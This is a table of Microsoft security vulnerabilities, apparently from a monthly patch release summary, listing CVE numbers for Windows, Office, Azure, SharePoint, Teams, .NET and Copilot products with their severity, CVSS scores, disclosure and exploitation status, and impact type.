\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-68820\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-62832\n  Windows User Profile\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  EoP\n \n \n  CVE-2026-49163 **\n  Application Insights\n  Profiler Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50481 **\n  Azure Active Directory\n  Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-68823 **\n  Azure Confidential\n  Ledger Remote Code Execution Vulnerability\n  Critical\n  9.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62869 **\n  Azure Entra ID\n  Spoofing Vulnerability\n  Critical\n  8.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56161 **\n  Azure Logic Apps\n  Information Disclosure Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50515 **\n  Azure Service Bus\n  Remote Code Execution Vulnerability\n  Critical\n  9.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-56162 **\n  Azure SQL Database\n  Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-63522 **\n  Azure SQL Database\n  Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62836 **\n  Azure SQL Managed\n  Instance Elevation of Privilege Vulnerability\n  Critical\n  8.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62830 **\n  Azure SRE Agent\n  Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-62873 **\n  Microsoft 365 Admin\n  Center Elevation of Privilege Vulnerability\n  Critical\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50516 **\n  Microsoft Azure\n  Kubernetes Service Elevation of Privilege Vulnerability\n  Critical\n  9.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-59115 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-68794\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68804\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68816\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62911\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-63513\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63519\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63526\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65664\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66807\n  Microsoft Office\n  Graphics Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63515\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63532\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64898\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64903\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64909\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64910\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64911\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65657\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70130\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-70332 **\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63518\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63525\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64907\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63508 **\n  Microsoft Planetary\n  Computer Pro Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-59118 **\n  Microsoft Power Apps\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-65668 **\n  Microsoft Purview\n  eDiscovery Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62815\n  Microsoft QUIC Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62827\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-64921\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65665\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62896 **\n  Microsoft Teams\n  Elevation of Privilege Vulnerability\n  Critical\n  9.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-65667 **\n  Microsoft Teams\n  Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  EoP\n \n \n  CVE-2026-62918 **\n  Microsoft Teams\n  Spoofing Vulnerability\n  Critical\n  7.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62824\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62818\n  Windows Active\n  Directory Certificate Services (AD CS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62893\n  Windows Deployment\n  Services TFTP Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66802\n  Windows Device Health\n  Attestation (DHA) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-71331\n  Windows Device Health\n  Attestation (DHA) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62823\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62817\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62820\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62878\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65789\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62890\n  Windows GDI+ Elevation\n  of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62822\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65791\n  Windows iSCSI Target\n  Service Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66799\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62816\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62819\n  Windows Routing and\n  Remote Access Service (RRAS) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62889\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-70354\n  .NET Core Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62901\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58641\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62871\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62886\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62909\n  .NET Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62872\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65810\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62897\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  RCE\n \n \n  CVE-2026-62900\n  .NET Information\n  Disclosure Vulnerability\n  Important\n  5.9\n  No\n  No\n  Info\n \n \n  CVE-2026-62902\n  .NET Information\n  Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62899\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  5.9\n  No\n  No\n  SFB\n \n \n  CVE-2026-65777\n  Active Directory\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-59130\n  AMD Zen Information\n  Disclosure Vulnerability\n  Important\n  5.6\n  No\n  No\n  Info\n \n \n  CVE-2026-59131\n  AMD Zen Information\n  Disclosure Vulnerability\n  Important\n  5.6\n  No\n  No\n  Info\n \n \n  CVE-2026-62898\n   Microsoft QUIC Information Disclosure\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61357\n  Application\n  Information Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70340\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-65806\n  Azure CycleCloud\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47299\n  Azure Monitor Agent\n  Elevation of Privilege Vulnerability\n  Important\n  7.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-57104\n  Azure Storage Explorer\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62892\n  Capability Access\n  Management Service (camsvc) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65675\n  CoPilot Chat Security\n  Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-65786\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65787\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65788\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70335\n  GitHub Copilot and\n  Visual Studio Code Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-64906\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64908\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64912\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64914\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64919\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64920\n  Microsoft Access\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-59136\n  Microsoft COM for\n  Windows Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54123\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62698\n  Microsoft Digest\n  Authentication Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-66301\n  Microsoft Dynamics 365\n  (On-Premises) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65815\n  Microsoft Dynamics 365\n  On-Premises Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-40375\n  Microsoft Dynamics\n  Business Central Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65673\n  Microsoft Entra\n  Connect Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-68797\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68799\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68802\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68808\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68813\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70318\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70327\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70328\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65807\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68793\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68795\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68796\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68798\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68800\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68801\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68803\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68805\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68806\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68807\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68810\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68811\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68812\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68814\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68815\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68817\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62912\n  Microsoft Exchange\n  Server Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62910\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-65813\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-62913\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62915\n  Microsoft Exchange\n  Server Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-62914\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-59133\n  Microsoft High\n  Performance Computing (HPC) Pack Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59124\n  Microsoft High\n  Performance Computing (HPC) Pack Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62784\n  Microsoft Local\n  Security Authority Server (lsasrv) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68792\n  Microsoft Office\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62842\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63517\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66809\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63524\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63529\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-64899\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70314\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70315\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70317\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70323\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63533\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64904\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65656\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65661\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57105\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-70306\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Important\n  9.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63521\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63528\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63530\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63531\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-64917\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66806\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66810\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70319\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63527\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64905\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64915\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70311\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65680\n  Microsoft OneDrive for\n  MacOS Elevation of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70329\n  Microsoft Outlook\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62882\n  Microsoft Outlook\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-70313\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70337\n  Microsoft PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70338\n  Microsoft PowerShell\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-59138\n  Microsoft Remote\n  Registry Service Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-61345\n  Microsoft Remote\n  Registry Service Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-70324\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70321\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70326\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70355\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-62837\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63514\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63520\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-64901\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65658\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65663\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66805\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66808\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58639\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62829\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62839\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62917\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63516\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64897\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64900\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64902\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64916\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64922\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-65660\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63512\n  Microsoft SharePoint\n  Server Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-65767\n  Microsoft Teams for\n  Android and iOS Spoofing Vulnerability\n  Important\n  8.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-65769\n  Microsoft Teams iOS\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65768\n  Microsoft Teams Remote\n  Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66804\n  Microsoft Windows\n  Cross Device Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59135\n  Microsoft Windows\n  Search Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65814\n  Microsoft Windows\n  Storage Port Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70310\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58651\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-6726 *\n  MITRE: CVE-2026-6726\n  TPM 2.0 Improper Object Slot Reuse\n  Important\n  7.9\n  No\n  No\n  \n \n \n  CVE-2026-6727 *\n  MITRE: CVE-2026-6727\n  TPM 2.0 RSA OAEP Timing Side-Channel Vulnerability\n  Important\n  5.9\n  No\n  No\n  \n \n \n  